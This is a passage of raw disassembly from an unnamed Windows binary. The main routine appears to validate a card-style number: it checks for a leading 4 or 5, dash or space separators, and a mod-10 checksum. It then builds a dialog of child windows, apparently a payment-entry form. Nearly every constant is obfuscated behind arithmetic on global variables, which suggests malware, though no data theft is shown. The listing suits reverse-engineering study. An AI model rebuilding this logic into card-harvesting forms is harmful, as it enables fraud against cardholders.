mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_43A306
push [ebp+var_4]
call sub_447654
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_43A2F4
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2F4: ; CODE XREF: sub_43A25C+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_447678
add esp, 8
add [ebp+var_8], 4
loc_43A306: ; CODE XREF: sub_43A25C+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43A30C: ; CODE XREF: sub_43A25C+69j
cmp byte ptr [ebx], 0
jnz short loc_43A2C7
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_43A31F: ; CODE XREF: sub_43A25C+64j
; sub_43A25C+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43A25C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A324 proc near ; CODE XREF: sub_44496E+C33p
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C6 = byte ptr -2C6h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_154 = byte ptr -154h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10A = byte ptr -10Ah
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_101 = byte ptr -101h
var_FF = byte ptr -0FFh
var_FC = byte ptr -0FCh
var_FB = byte ptr -0FBh
var_F8 = byte ptr -0F8h
var_F7 = byte ptr -0F7h
var_F6 = byte ptr -0F6h
var_F5 = byte ptr -0F5h
var_F3 = byte ptr -0F3h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 324h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_43B466
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_43A34B
cmp al, 35h
jnz loc_43B466
loc_43A34B: ; CODE XREF: sub_43A324+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43A353: ; CODE XREF: sub_43A324+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A353
mov [ebp+var_128], eax
mov edx, dword_55116C
add edx, 4
add edx, dword_551174
cmp eax, edx
jz short loc_43A384
mov edx, dword_5510A4
add edx, 0Ch
cmp eax, edx
jnz loc_43B466
loc_43A384: ; CODE XREF: sub_43A324+4Dj
movsx ebx, word_551094
sub ebx, 2
jmp short loc_43A3B4
; ---------------------------------------------------------------------------
loc_43A390: ; CODE XREF: sub_43A324+A0j
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:dword_4CC550[edx], eax
jz loc_43B466
inc ebx
loc_43A3B4: ; CODE XREF: sub_43A324+6Aj
mov eax, dword_551090
add eax, 5Ch
add eax, dword_55119C
cmp ebx, eax
jb short loc_43A390
mov eax, dword_5511FC
add eax, 13h
cmp [ebp+var_128], eax
jnz loc_43A59A
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_43A3EC
cmp al, 20h
jnz loc_43B466
loc_43A3EC: ; CODE XREF: sub_43A324+BEj
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_43A3FE
cmp al, 20h
jnz loc_43B466
loc_43A3FE: ; CODE XREF: sub_43A324+D0j
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_43A410
cmp al, 20h
jnz loc_43B466
loc_43A410: ; CODE XREF: sub_43A324+E2j
mov eax, dword_551140
add eax, 0Ch
movsx edx, word_551208
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_FF], dl
movsx eax, word_551144
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_FC], dl
mov eax, dword_551180
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_F7], dl
mov eax, dword_5511DC
add eax, 7
movsx edx, word_5510C4
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_FF], dl
mov eax, dword_55111C
add eax, dword_551170
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_FF], dl
mov eax, dword_551120
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_FB], dl
movsx eax, word_5510A8
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_F5], dl
movsx eax, word_55113C
movsx edx, word_551218
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_103], dl
mov eax, dword_5510E0
movsx edx, word_5510B4
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_10A], dl
mov eax, dword_5511B4
movsx edx, word_551128
sub edx, 5
mov [ebp+eax+var_F3], dl
mov eax, dword_5511AC
add eax, dword_5510C8
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_FF], dl
mov eax, dword_551090
add eax, 4
movsx edx, word_551198
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
mov eax, dword_5511BC
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_F6], dl
mov eax, dword_55120C
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_FF], dl
mov eax, dword_5511AC
movsx edx, word_551210
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_104], dl
movsx eax, word_551144
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_F8], dl
mov eax, dword_5511EC
mov edx, [ebp+arg_0]
mov dl, [edx+1]
mov [ebp+eax+var_101], dl
jmp short loc_43A5A9
; ---------------------------------------------------------------------------
loc_43A59A: ; CODE XREF: sub_43A324+B0j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_4475D4
loc_43A5A9: ; CODE XREF: sub_43A324+274j
mov esi, dword_55118C
dec esi
jmp short loc_43A5C7
; ---------------------------------------------------------------------------
loc_43A5B2: ; CODE XREF: sub_43A324+2B6j
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_43A5C1
cmp al, 39h
jle short loc_43A5C6
loc_43A5C1: ; CODE XREF: sub_43A324+297j
jmp loc_43B466
; ---------------------------------------------------------------------------
loc_43A5C6: ; CODE XREF: sub_43A324+29Bj
inc esi
loc_43A5C7: ; CODE XREF: sub_43A324+28Cj
mov eax, dword_551154
add eax, 3
movsx edx, word_551128
add eax, edx
cmp esi, eax
jb short loc_43A5B2
mov eax, dword_5510AC
sub eax, 7
mov [ebp+var_108], eax
mov esi, dword_5511FC
jmp short loc_43A638
; ---------------------------------------------------------------------------
loc_43A5F2: ; CODE XREF: sub_43A324+31Ej
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
mov edx, dword_5510C8
inc edx
imul eax, edx
add [ebp+var_108], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_43A625
mov eax, dword_551160
add eax, 2
sub [ebp+var_108], eax
loc_43A625: ; CODE XREF: sub_43A324+2F1j
mov eax, dword_551170
movsx edx, word_5510C4
add eax, edx
sub eax, 8
add esi, eax
loc_43A638: ; CODE XREF: sub_43A324+2CCj
mov eax, dword_5510BC
add eax, 10h
cmp esi, eax
jb short loc_43A5F2
mov eax, dword_551220
mov ebx, eax
add ebx, dword_551154
sub ebx, 9
jmp short loc_43A671
; ---------------------------------------------------------------------------
loc_43A656: ; CODE XREF: sub_43A324+360j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp+var_108], eax
movsx eax, word_5510CC
inc eax
add ebx, eax
loc_43A671: ; CODE XREF: sub_43A324+330j
movsx eax, word_551198
mov edx, dword_551228
lea eax, [eax+edx+7]
cmp ebx, eax
jb short loc_43A656
mov eax, [ebp+var_108]
mov ecx, 0Ah
xor edx, edx
div ecx
mov edi, dword_551238
movsx ebx, word_5510F4
add edi, ebx
sub edi, 2
cmp edx, edi
jnz loc_43B466
lea eax, [ebp+var_FF]
push eax
call ds:dword_54EA74
pop ecx
or eax, eax
jnz loc_43B466
mov esi, dword_5511E0
sub esi, 4
mov esi, dword_551238
jmp short loc_43A701
; ---------------------------------------------------------------------------
loc_43A6D6: ; CODE XREF: sub_43A324+3E9j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
mov eax, dword_551140
add eax, dword_551150
sub eax, 5
mov edx, [ebp+var_264]
cmp ds:dword_4CC550[edx], eax
jz short loc_43A70F
inc esi
loc_43A701: ; CODE XREF: sub_43A324+3B0j
movsx eax, word_5511A4
add eax, 5Eh
cmp esi, eax
jb short loc_43A6D6
loc_43A70F: ; CODE XREF: sub_43A324+3DAj
movsx eax, word_551138
mov edx, dword_55122C
lea eax, [eax+edx+5Ah]
cmp esi, eax
jz loc_43B466
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:dword_4CC550[edx], eax
push offset byte_5529B1
call sub_43CAF7
pop ecx
mov edi, dword_5510AC
movsx ebx, word_5511C4
add edi, ebx
sub edi, 0Fh
push edi
push eax
movsx edi, word_551210
sub edi, 5
push edi
push [ebp+arg_4]
call ds:dword_50E930
mov [ebp+var_134], eax
mov ecx, dword_5511F8
sub ecx, 3
cmp eax, ecx
jnz short loc_43A794
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_43A794: ; CODE XREF: sub_43A324+465j
push offset dword_5529A4
call sub_43CAF7
push eax
push [ebp+var_134]
call sub_445A79
mov [ebp+var_12C], eax
push offset dword_552998
call sub_43CAF7
push eax
push [ebp+var_12C]
call sub_445A79
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_26C], eax
mov ebx, eax
mov ds:dword_4CC554[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_270], eax
push ds:dword_4CC554[eax]
call ds:dword_54E958
mov eax, dword_5511D0
sub eax, 7
push eax
call ds:dword_44B598
mov [ebp-10Ch], eax
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call ds:dword_54E950
push offset word_55298E
call sub_43CAF7
add esp, 1Ch
mov edi, dword_5511C0
dec edi
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_551194
movsx ebx, word_5511F0
add edi, ebx
sub edi, 7
push edi
push [ebp+var_12C]
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
push edi
mov edi, [ebp+var_114]
sub edi, [ebp+var_11C]
push edi
movsx edi, word_55113C
sub edi, 9
push edi
mov edi, dword_55110C
sub edi, 2
push edi
push 50800000h
lea edi, [ebp+var_FF]
push edi
push eax
push 200h
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_274], eax
mov ebx, eax
mov ds:dword_4CC558[ebx], edi
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
mov edx, dword_5511E0
add edx, 29h
sub eax, edx
mov [ebp+var_120], eax
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
mov ebx, dword_5511D4
add ebx, 0F2h
sub edi, ebx
mov ebx, dword_551204
add ebx, 3Ah
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov edx, dword_551234
add edx, dword_551184
sub edx, 0Ch
cmp eax, edx
jge short loc_43A934
movsx eax, word_5510F8
add eax, dword_551238
sub eax, 4
mov [ebp+var_124], eax
loc_43A934: ; CODE XREF: sub_43A324+5F8j
push offset dword_552984
call sub_43CAF7
mov [ebp+var_278], eax
push offset dword_552980
call sub_43CAF7
mov [ebp+var_27C], eax
mov edi, dword_551220
add edi, dword_551140
sub edi, 3
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_5510C8
dec edi
push edi
mov eax, 30h
mul esi
mov [ebp+var_280], eax
mov edi, eax
push ds:dword_4CC558[edi]
movsx edi, word_551138
add edi, 0F7h
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, dword_551188
add ebx, 36h
movsx edx, word_551148
add ebx, edx
add edi, ebx
movsx ebx, word_5510FC
dec ebx
add edi, ebx
push edi
mov edi, dword_551154
add edi, 5
add edi, dword_5510AC
push edi
push 50800009h
mov edi, [ebp+var_27C]
push edi
mov edi, [ebp+var_278]
push edi
movsx edi, word_5510F8
sub edi, 5
push edi
call ds:dword_4CD93C
mov [ebp+var_138], eax
push offset word_552976
call sub_43CAF7
mov [ebp+var_284], eax
push offset byte_55295D
call sub_43CAF7
mov [ebp+var_288], eax
mov edi, dword_551124
movsx ebx, word_5510FC
add edi, ebx
sub edi, 4
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_551148
movsx ebx, word_5511CC
add edi, ebx
sub edi, 0Ah
push edi
mov eax, 30h
mul esi
mov [ebp+var_28C], eax
mov edi, eax
push ds:dword_4CC558[edi]
mov edi, dword_5511AC
add edi, 31h
add edi, dword_55124C
push edi
push [ebp+var_120]
push [ebp+var_124]
movsx edi, word_551104
mov ebx, dword_55121C
lea edi, [edi+ebx+10h]
push edi
push 50800000h
mov edi, [ebp+var_288]
push edi
mov edi, [ebp+var_284]
push edi
mov edi, dword_551214
sub edi, 3
push edi
call ds:dword_4CD93C
mov [ebp+var_13C], eax
mov eax, dword_5510E8
dec eax
push eax
push 2
push 0
push 0
push 5
push 1
movsx eax, word_551198
mov edx, dword_551228
add edx, eax
sub edx, 9
push edx
mov edx, dword_55117C
add edx, dword_551204
sub edx, 9
push edx
mov edx, dword_55119C
sub edx, 4
push edx
push 2BCh
mov edx, dword_5510A0
add edx, dword_551174
sub edx, 0Ah
push edx
push dword_5510BC
add eax, dword_551154
dec eax
push eax
mov eax, dword_5511E4
add eax, 10h
push eax
call ds:dword_4CC220
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_13C]
call ds:dword_448018
push offset byte_552953
call sub_43CAF7
mov [ebp+var_290], eax
push offset word_55294E
call sub_43CAF7
add esp, 18h
mov edi, dword_551130
dec edi
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_551134
sub edi, 2
push edi
push [ebp+var_138]
mov edi, dword_5510A0
add edi, 0F2h
movsx ebx, word_551210
add edi, ebx
mov ebx, dword_551098
add ebx, dword_551248
sub ebx, 9
sub edi, ebx
push edi
mov edi, [ebp+var_120]
mov ebx, dword_551154
add ebx, dword_551214
sub ebx, 7
sub edi, ebx
push edi
movsx edi, word_551148
add edi, dword_5511E4
sub edi, 4
push edi
mov edi, dword_551108
sub edi, 7
push edi
push 50000000h
push eax
mov edi, [ebp+var_290]
push edi
mov edi, dword_551234
add edi, dword_551170
sub edi, 0Ch
push edi
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov ebx, eax
mov ds:dword_4CC55C[ebx], edi
mov eax, dword_55120C
add eax, dword_551174
cmp [ebp+eax+var_10A], 34h
jnz short loc_43AC3B
push offset word_552946
call sub_43CAF7
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_4475D4
jmp short loc_43AC53
; ---------------------------------------------------------------------------
loc_43AC3B: ; CODE XREF: sub_43A324+8FBj
push offset dword_552938
call sub_43CAF7
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_4475D4
loc_43AC53: ; CODE XREF: sub_43A324+915j
push offset word_5528C6
call sub_43CAF7
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_154]
push edi
push eax
lea edi, [ebp+var_253]
push edi
call ds:dword_50E928
push offset dword_5528BC
call sub_43CAF7
mov [ebp+var_298], eax
mov edi, dword_551168
add edi, dword_5511E0
sub edi, 6
push edi
push dword ptr [ebp-10Ch]
push dword_551238
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_5511D4
add edi, 28h
push edi
push [ebp+var_120]
movsx edi, word_5511A4
add edi, 4
push edi
mov edi, dword_5510EC
movsx ebx, word_55113C
add edi, ebx
push edi
push 50000000h
lea edi, [ebp+var_253]
push edi
mov edi, [ebp+var_298]
push edi
movsx edi, word_5510F8
add edi, dword_551200
sub edi, 0Ah
push edi
call ds:dword_4CD93C
mov [ebp+var_258], eax
movsx eax, word_5511C4
add eax, dword_5510A4
sub eax, 0Fh
push eax
push 2
push 0
push 0
push 5
push 1
mov eax, dword_551204
add eax, dword_551140
sub eax, 3
push eax
movsx eax, word_551148
add eax, dword_551110
sub eax, 0Ah
push eax
mov eax, dword_551158
sub eax, 3
push eax
push 190h
movsx eax, word_551164
dec eax
push eax
mov eax, dword_551234
add eax, dword_551120
sub eax, 10h
push eax
movsx eax, word_5510F8
movsx edx, word_5510CC
add eax, edx
push eax
mov eax, dword_5510E0
add eax, 0Ah
push eax
call ds:dword_4CC220
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call ds:dword_448018
push offset dword_5528B0
call sub_43CAF7
mov [ebp+var_2A0], eax
push offset off_5528AC
call sub_43CAF7
mov [ebp+var_2A4], eax
mov edi, dword_551090
sub edi, 4
push edi
push dword ptr [ebp-10Ch]
movsx edi, word_551240
movsx ebx, word_5511E8
add edi, ebx
sub edi, 0Fh
push edi
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_551120
add edi, 124h
push edi
movsx edi, word_5511CC
mov ebx, dword_5511BC
lea edi, [edi+ebx+2Dh]
push edi
mov edi, dword_55110C
add edi, 49h
push edi
mov edi, dword_551158
add edi, 43h
push edi
push 50800003h
mov edi, [ebp+var_2A4]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, dword_5511E0
sub edi, 4
push edi
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2AC], eax
mov ebx, eax
mov ds:dword_4CC564[ebx], edi
push offset dword_5528A0
call sub_43CAF7
mov [ebp+var_2B0], eax
push offset dword_55289C
call sub_43CAF7
add esp, 28h
mov [ebp+var_2B4], eax
mov edi, dword_5511C0
movsx ebx, word_551118
add edi, ebx
sub edi, 9
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_551160
sub edi, 7
push edi
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_551154
add edi, 11Dh
add edi, dword_5511B0
push edi
mov edi, dword_551200
add edi, 26h
add edi, dword_55122C
push edi
mov edi, dword_551098
add edi, 3Ah
add edi, dword_551120
push edi
movsx edi, word_551194
movsx ebx, word_5511A4
lea edi, [edi+ebx+3]
push edi
push 50800003h
mov edi, [ebp+var_2B4]
push edi
mov edi, [ebp+var_2B0]
push edi
mov edi, dword_5510AC
sub edi, 7
push edi
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2BC], eax
mov ebx, eax
mov ds:dword_4CC560[ebx], edi
mov eax, dword_551180
movsx edx, word_5510FC
add eax, edx
dec eax
mov [ebp-102h], ax
jmp loc_43B032
; ---------------------------------------------------------------------------
loc_43AF6E: ; CODE XREF: sub_43A324+D21j
push offset dword_552894
call sub_43CAF7
movzx edi, word ptr [ebp-102h]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50E928
lea eax, [ebp+var_2C6]
push eax
mov eax, dword_55117C
add eax, dword_55111C
sub eax, 9
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
push ds:dword_4CC560[eax]
call ds:dword_448018
push offset word_55288A
call sub_43CAF7
movzx edi, word ptr [ebp-102h]
mov ebx, dword_55119C
add ebx, 3
add edi, ebx
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50E928
add esp, 20h
lea eax, [ebp+var_2C6]
push eax
movsx eax, word_551208
movsx edx, word_551210
add eax, edx
sub eax, 6
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CC564[eax]
call ds:dword_448018
inc word ptr [ebp-102h]
loc_43B032: ; CODE XREF: sub_43A324+C45j
movzx eax, word ptr [ebp-102h]
movsx edx, word_5511A8
add edx, 0Dh
cmp eax, edx
jl loc_43AF6E
push offset word_552882
call sub_43CAF7
mov [ebp+var_2C0], eax
push offset word_55287E
call sub_43CAF7
mov [ebp+var_2C4], eax
mov edi, dword_551200
add edi, dword_55124C
sub edi, 0Eh
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_5510D4
add edi, dword_551214
sub edi, 8
push edi
mov eax, 30h
mul esi
mov [ebp-2C8h], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_5510A4
add edi, 11h
push edi
mov edi, dword_5510D8
add edi, 4Ah
add edi, dword_5510B0
push edi
mov edi, dword_551220
add edi, 7Ah
push edi
movsx edi, word_5510F8
mov ebx, dword_551174
lea edi, [edi+ebx+23h]
push edi
push 50800000h
mov edi, [ebp+var_2C4]
push edi
mov edi, [ebp+var_2C0]
push edi
push 200h
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov ebx, eax
mov ds:dword_4CC568[ebx], edi
movsx eax, word_5510CC
dec eax
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CC568[eax]
call ds:dword_448018
push offset dword_552874
call sub_43CAF7
mov [ebp+var_2D4], eax
push offset word_552852
call sub_43CAF7
mov [ebp+var_2D8], eax
mov edi, dword_551168
sub edi, 2
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_5511DC
add edi, dword_5510D4
sub edi, 5
push edi
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_55110C
add edi, 3Dh
add edi, dword_551230
push edi
push [ebp+var_120]
movsx edi, word_5510F8
mov ebx, dword_551224
lea edi, [edi+ebx+49h]
push edi
mov edi, dword_5511C0
add edi, 93h
add edi, dword_551124
push edi
push 50000000h
mov edi, [ebp+var_2D8]
push edi
mov edi, [ebp+var_2D4]
push edi
mov edi, dword_5510D8
sub edi, 6
push edi
call ds:dword_4CD93C
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call ds:dword_448018
push offset dword_552848
call sub_43CAF7
mov [ebp+var_2E0], eax
push offset word_55282E
call sub_43CAF7
add esp, 18h
mov [ebp+var_2E4], eax
mov edi, dword_551100
sub edi, 9
push edi
push dword ptr [ebp-10Ch]
mov edi, dword_551130
add edi, dword_5511F4
sub edi, 0Ah
push edi
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov edi, eax
push ds:dword_4CC55C[edi]
mov edi, dword_5510D4
add edi, 12h
push edi
mov edi, dword_551230
mov ebx, edi
add ebx, 9Ah
push ebx
mov ebx, dword_551154
add ebx, 0F1h
add ebx, edi
movsx edi, word_551190
mov edx, dword_5511A0
lea edi, [edi+edx+13h]
sub ebx, edi
push ebx
movsx edi, word_551138
add edi, 7
push edi
push 50800000h
mov edi, [ebp+var_2E4]
push edi
mov edi, [ebp+var_2E0]
push edi
mov edi, dword_551214
add edi, dword_5511D4
sub edi, 0Bh
push edi
call ds:dword_4CD93C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2EC], eax
mov ebx, eax
mov ds:dword_4CC56C[ebx], edi
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2F0], eax
push ds:dword_4CC56C[eax]
call ds:dword_448018
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push ds:dword_4CC55C[eax]
call ds:dword_4CE914
mov edi, [ebp+var_2F8]
mov ds:dword_4CC57C[edi], eax
push offset sub_441D1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push ds:dword_4CC55C[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push ds:dword_4CC568[eax]
call ds:dword_4CE914
mov edi, [ebp+var_304]
mov ds:dword_4CC578[edi], eax
push offset sub_441D1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push ds:dword_4CC568[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
mov [ebp+var_310], eax
push ds:dword_4CC564[eax]
call ds:dword_4CE914
mov edi, [ebp+var_310]
mov ds:dword_4CC574[edi], eax
push offset sub_441D1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_314], eax
push ds:dword_4CC564[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_318], eax
mov [ebp+var_31C], eax
push ds:dword_4CC560[eax]
call ds:dword_4CE914
mov edi, [ebp+var_31C]
mov ds:dword_4CC570[edi], eax
push offset sub_441D1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_320], eax
push ds:dword_4CC560[eax]
call ds:dword_44B5AC
mov eax, 30h
mul esi
mov [ebp+var_324], eax
push ds:dword_4CC560[eax]
call ds:dword_48B9FC
loc_43B466: ; CODE XREF: sub_43A324+10j
; sub_43A324+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43A324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B46B proc near ; CODE XREF: sub_43D0C6+D9p
; sub_43D0C6+13Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, dword_551120
sub esi, 8
movsx edi, word_551198
dec edi
jmp short loc_43B4D8
; ---------------------------------------------------------------------------
loc_43B488: ; CODE XREF: sub_43B46B+77j
movzx edx, word ptr [ebx+edi*2]
mov ecx, [ebp+arg_4]
movzx ecx, word ptr [ecx+edi*2]
sub edx, ecx
sub edx, esi
mov [ebp+var_4], edx
movsx eax, word_5510D0
sub eax, 6
cmp edx, eax
jge short loc_43B4C7
mov eax, dword_55112C
add eax, 0FFF8h
add [ebp+var_4], eax
mov eax, dword_551154
mov esi, eax
add esi, dword_55110C
sub esi, 9
jmp short loc_43B4D0
; ---------------------------------------------------------------------------
loc_43B4C7: ; CODE XREF: sub_43B46B+3Bj
mov esi, dword_5510B8
sub esi, 4
loc_43B4D0: ; CODE XREF: sub_43B46B+5Aj
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_43B4D8: ; CODE XREF: sub_43B46B+1Bj
mov eax, dword_551220
add eax, 1Eh
cmp edi, eax
jb short loc_43B488
pop edi
pop esi
pop ebx
leave
retn
sub_43B46B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B4E9 proc near ; DATA XREF: .data:005512E0o
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_551130
add eax, 0F9h
cmp edi, eax
jnz short loc_43B512
push [ebp+arg_14]
call sub_44496E
pop ecx
xor eax, eax
jmp short loc_43B532
; ---------------------------------------------------------------------------
loc_43B512: ; CODE XREF: sub_43B4E9+1Aj
mov eax, dword_55114C
add eax, 101h
cmp edi, eax
jnz short loc_43B52D
push [ebp+arg_14]
call sub_440A1B
pop ecx
xor eax, eax
jmp short loc_43B532
; ---------------------------------------------------------------------------
loc_43B52D: ; CODE XREF: sub_43B4E9+35j
mov eax, 80020003h
